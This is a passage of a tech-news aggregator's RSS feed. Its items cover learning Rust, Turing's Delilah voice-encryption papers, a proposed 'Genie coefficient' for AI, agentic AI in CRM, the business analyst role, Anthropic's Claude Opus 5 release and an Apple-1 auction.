<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
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<item>
<title><![CDATA[Details of Alan Turing’s Voice Encryption System]]></title>
<description><![CDATA[Really interesting piece of cryptographic history:
In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was auctioned in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-...]]></description>
<link>https://tsecurity.de/de/3693279/reverse-engineering/details-of-alan-turings-voice-encryption-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693279/reverse-engineering/details-of-alan-turings-voice-encryption-system/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:05 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Really interesting piece of cryptographic <a href="https://spectrum.ieee.org/alan-turings-delilah">history</a>:</p>
<blockquote><p>In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was <a href="https://www.bonhams.com/auction/28322/lot/45/turing-alan-the-delilah-project-the-papers-of-alan-turing-and-donald-bayley-relating-to-the-delilah-project/">auctioned</a> in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-secret “Delilah” engineering project from 1943 to 1945. Delilah was Turing’s portable voice-encryption system, named after the biblical deceiver of men. There is also material written by Bayley, often in the form of notes he took while Turing was speaking. It is thanks to Bayley that the papers survived: He kept them until he died in 2020, 66 years after Turing passed away...</p></blockquote>]]></content:encoded>
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<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in IEEE Spectrum.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a n...]]></description>
<link>https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:58 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">IEEE Spectrum</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
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<item>
<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
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<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[Anthropic's New Opus 5 Model Rivals Fable 5 For Half the Price]]></title>
<description><![CDATA[Anthropic has released Opus 5, a new Claude model that it says comes close to its higher-end Fable 5 model at half the price while improving on Opus 4.8 in knowledge work, coding, and scientific research tasks. "At the same time, Anthropic says it has managed to make the model more resistant to b...]]></description>
<link>https://tsecurity.de/de/3692357/it-security-nachrichten/anthropics-new-opus-5-model-rivals-fable-5-for-half-the-price/</link>
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<pubDate>Fri, 24 Jul 2026 21:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic has released Opus 5, a new Claude model that it says comes close to its higher-end Fable 5 model at half the price while improving on Opus 4.8 in knowledge work, coding, and scientific research tasks. "At the same time, Anthropic says it has managed to make the model more resistant to being tricked," notes Engadget. Additionally, the company says Opus 5 "exhibits the lowest rates of deceptive behavior." From the report: One important distinction between Opus 5 and Mythos, which is currently only available to a limited number of vetted organizations through Anthropic's Project Glasswing initiative, is that the company has specifically avoided training the new model on cyber-related tasks. Due to more its powerful capabilities, Opus 5 is broadly better at those tasks than its predecessor, making it more useful for finding cybersecurity vulnerabilities, but the company says Opus 5 is "substantially behind" its flagship model at exploiting those vulnerabilities.
 
[...] Anthropic says "Claude Opus 5's safeguards are designed to allow beneficial uses of the model in both cybersecurity and biology." The company has strengthened some of the model's cyber-related guardrails, but notes it did so along a "narrow range" of specific tasks. "Based on our testing, we expect the classifiers to intervene around 85 percent less often than they do for Fable 5," Anthropic said. With Opus 5, Anthropic also isn't including it in its recently announced 30-day data retention policy, which the company introduced alongside Fable and Mythos 5.
 
As for pricing. Anthropic says API costs for Opus 5 will remain at $5 per one million input tokens and $25 per one million output tokens. Anthropic has also added an "effort" menu for Opus that users can tweak to tell the model whether they want it to be more thorough or fast and efficient to conserve tokens.<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/24/1853236/anthropics-new-opus-5-model-rivals-fable-5-for-half-the-price?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Anthropic claims its new Claude Opus 5 delivers near-Fable 5 performance at half the token price]]></title>
<description><![CDATA[Anthropic's new flagship model Claude Opus 5 posts top scores in coding and knowledge work at half of Fable 5's token rates. On ARC-AGI-3, a benchmark for novel problem-solving, Opus 5 hits 30.2 percent, nearly four times higher than GPT-5.6 Sol.
The article Anthropic claims its new Claude Opus 5...]]></description>
<link>https://tsecurity.de/de/3692319/ai-nachrichten/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/</link>
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<pubDate>Fri, 24 Jul 2026 20:51:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2560" height="1440" src="https://the-decoder.com/wp-content/uploads/2026/07/claude_opus_5_logo-scaled.webp" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Anthropic's new flagship model Claude Opus 5 posts top scores in coding and knowledge work at half of Fable 5's token rates. On ARC-AGI-3, a benchmark for novel problem-solving, Opus 5 hits 30.2 percent, nearly four times higher than GPT-5.6 Sol.</p>
<p>The article <a href="https://the-decoder.com/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/">Anthropic claims its new Claude Opus 5 delivers near-Fable 5 performance at half the token price</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[This Apple-1 auction expected to cost the winner as much as 275 iPhone 17 Pros]]></title>
<description><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and Steve Jobs memorabilia from Apple's earliest years.The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR AuctionsThe Apple-1 comes from Apple's second batch of 50 ...]]></description>
<link>https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</link>
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<pubDate>Fri, 24 Jul 2026 20:48:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and <a href="https://appleinsider.com/inside/steve-jobs" title="Steve Jobs" data-kpt="1">Steve Jobs</a> memorabilia from Apple's earliest years.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68357-144067-1039C832-5BB1-46DA-9996-DF1ACC1FE9B1-xl.jpg" alt="Open suitcase containing a vintage portable computer setup with a builtin keyboard and cassette recorder, shown on a plain white background." height="738"><span>The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR Auctions</span></div><br>The <a href="https://appleinsider.com/articles/25/07/29/rare-apple-memorabilia-macs-more-up-for-auction-ending-august-21" data-kpt="1">Apple-1</a> comes from Apple's second batch of 50 machines, according to the auction house. Known as the <a href="https://www.rrauction.com/auctions/lot-detail/351632707484040-apple-1-computer-the-neumark-apple-1-byte-shop-style-in-a-unique-smith-corona-typewriter-case-with-original-documentation-sold-internationally-in-1977/" data-kpt="1">"Neumark" computer</a>, it sits inside a modified Smith-Corona typewriter case and was restored to working condition by Apple-1 specialist Corey Cohen in June 2026.<br><br>Apple sold the Apple-1 as an assembled circuit board rather than a complete consumer computer, so buyers had to add the other components and an enclosure themselves. The Neumark machine stands out because it still works inside the suitcase. The auction also includes surviving documentation.<br><br>RR Auction's estimates aren't guarantees of what buyers will pay. Final prices will depend on how much competition each lot attracts before the sale closes.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245057?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
